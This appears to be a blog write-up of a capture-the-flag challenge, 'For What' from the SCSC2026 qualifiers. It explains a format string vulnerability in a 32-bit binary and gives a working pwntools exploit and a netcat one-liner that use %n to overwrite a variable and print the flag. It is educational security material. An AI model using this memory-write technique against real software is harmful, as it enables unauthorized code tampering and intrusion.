434 words
2 minutes
SCSC2026 Quals - For What - Binary Exploitation Writeup

Category: Binary Exploitation

Server: nc 43.128.69.211 13001

Flag: scsc26{f0rmat_0uTpUT_15_vULn3R4Bl3}

Challenge Description#

A 32-bit binary with a format string vulnerability. Exploit it to read the flag.

Binary Analysis#

Terminal window
$ file format
format: ELF 32-bit LSB executable, Intel 80386, dynamically linked, not stripped
$ checksec --file=format
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

Disassembly Analysis (vuln function)#

vuln:
push ebp
mov ebp, esp
sub esp, 0x208 ; allocate buffer space
; fgets(buffer, 0x200, stdin)
lea eax, [ebp-0x205] ; buffer address
push stdin
push 0x200
push eax
call fgets
; printf(buffer) - VULNERABLE! No format string
lea eax, [ebp-0x205]
push eax
call printf ; Format string vulnerability here
; Check if target == 0x60 (96)
mov eax, [0x804c06c] ; target variable
cmp eax, 0x60
jne fail
; WIN: Open and print flag.txt
push "r"
push "flag.txt"
call fopen
; ... reads and prints flag
fail:
; Print "target is %d :("
push eax
push "target is %d :("
call printf

Key Addresses#

  • target variable: 0x804c06c (in .bss section)

  • Target value needed: 0x60 (96 decimal)

Vulnerability#

The vuln() function passes user input directly to printf() without a format string:

printf(buffer); // Should be: printf("%s", buffer);

This allows an attacker to:

  1. Read from the stack using %x or %p

  2. Write to arbitrary memory using %n

Exploitation Strategy#

Goal: Write 0x60 (96) to the target variable at 0x804c06c

The %n format specifier writes the count of characters printed so far to an address on the stack.

Step 1: Find stack offset

Terminal window
$ echo 'AAAA%1$x' | ./format
AAAA200
$ echo 'AAAA%2$x' | ./format
AAAA25414141 # 0x25414141 = "%AAA" - our input (misaligned by 1 byte)

The input buffer starts at offset 2, but is misaligned by 1 byte.

Step 2: Fix alignment

Terminal window
$ echo 'XAAAA%2$x' | ./format
XAAAA41414141 # 0x41414141 = "AAAA" - perfectly aligned!

Adding a 1-byte prefix (X) aligns our address at offset 2.

Step 3: Craft payload

Payload structure:

X - 1 byte alignment padding
\x6c\xc0\x04\x08 - target address (little endian)
%91x - print 91 more chars (1+4+91 = 96 = 0x60)
%2$n - write char count to address at stack offset 2

Exploit#

# !/usr/bin/env python3
from pwn import *
# Target address (little endian)
target_addr = p32(0x804c06c)
# Payload:
# X (1 byte) + addr (4 bytes) = 5 chars
# Need 96 total, so pad with 91 more: %91x
# Write to offset 2: %2$n
payload = b"X" + target_addr + b"%91x%2$n"
# Local test
# p = process("./format")
# Remote
p = remote("43.128.69.211", 13001)
p.sendline(payload)
print(p.recvall().decode())

One-liner:

python3 -c 'import sys; sys.stdout.buffer.write(b"X\x6c\xc0\x04\x08%91x%2\x24n\n")' | nc 43.128.69.211 13001

Output#

Xl� 58000000
scsc26{f0rmat_0uTpUT_15_vULn3R4Bl3}

Format String Attack Summary#

Specifier Purpose

%x Leak stack values (hex)

%s Read string at address on stack

%n Write number of printed chars to address

%N$x Access Nth argument directly

%Nc Print N characters (for padding)

SCSC2026 Quals - For What - Binary Exploitation Writeup
https://fuwari.vercel.app/posts/18/scsc2026-quals-for-what-binary-exploitation-writeup/
Author
Light
Published at
2026-02-17
License
CC BY-NC-SA 4.0